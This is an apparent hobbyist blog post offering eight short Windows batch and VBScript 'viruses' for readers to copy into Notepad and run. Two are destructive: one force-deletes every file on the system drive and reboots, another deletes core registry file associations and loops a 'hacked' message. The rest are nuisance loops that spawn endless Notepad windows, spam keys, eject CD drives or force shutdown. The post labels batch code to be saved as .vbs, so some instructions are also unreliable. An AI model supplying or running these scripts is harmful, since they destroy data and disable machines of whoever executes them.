8 new .vbs Virus

After a long time i m backing for virus writing and also writing a post this time not only one virus but we are going to make 8 new viruses that are very very hazardous or troublesome. so now don't try it on your PC just make it on Virtual PC or your test PC if you have it.

you just have to enter any of the codes below in a Notepad and then just save it as filename.vbs
Replace FileName with any name you want

1. Blue Screen Shutdown

This Virus will make your computer shutdown with a Blue Screen

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2. Stupidity Shutdown

This virus Popup's this funny Message and then shutdown the computer "Error! You are too stupid!"

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10

3. Delete Key Registry Files

Note : This Virus will delete the Registry Files and then display a message and it keeps on going.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been Hacked and now cant be recovered.  Have a nice day.
GOTO MESSAGE

4. Endless Notepads

This Script popup's endless NotePads

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

5. Crazy caps lock

This constantly turns caps lock on and off really fast continuously

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

6. Endless Enter

This constantly makes it so the enter button is being pressed continuously

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

7. Endless Backspace

This makes it so the backspace key is constantly being pressed

MsgBox "Let’s go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

8. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Hope you like it , do comment if you like it.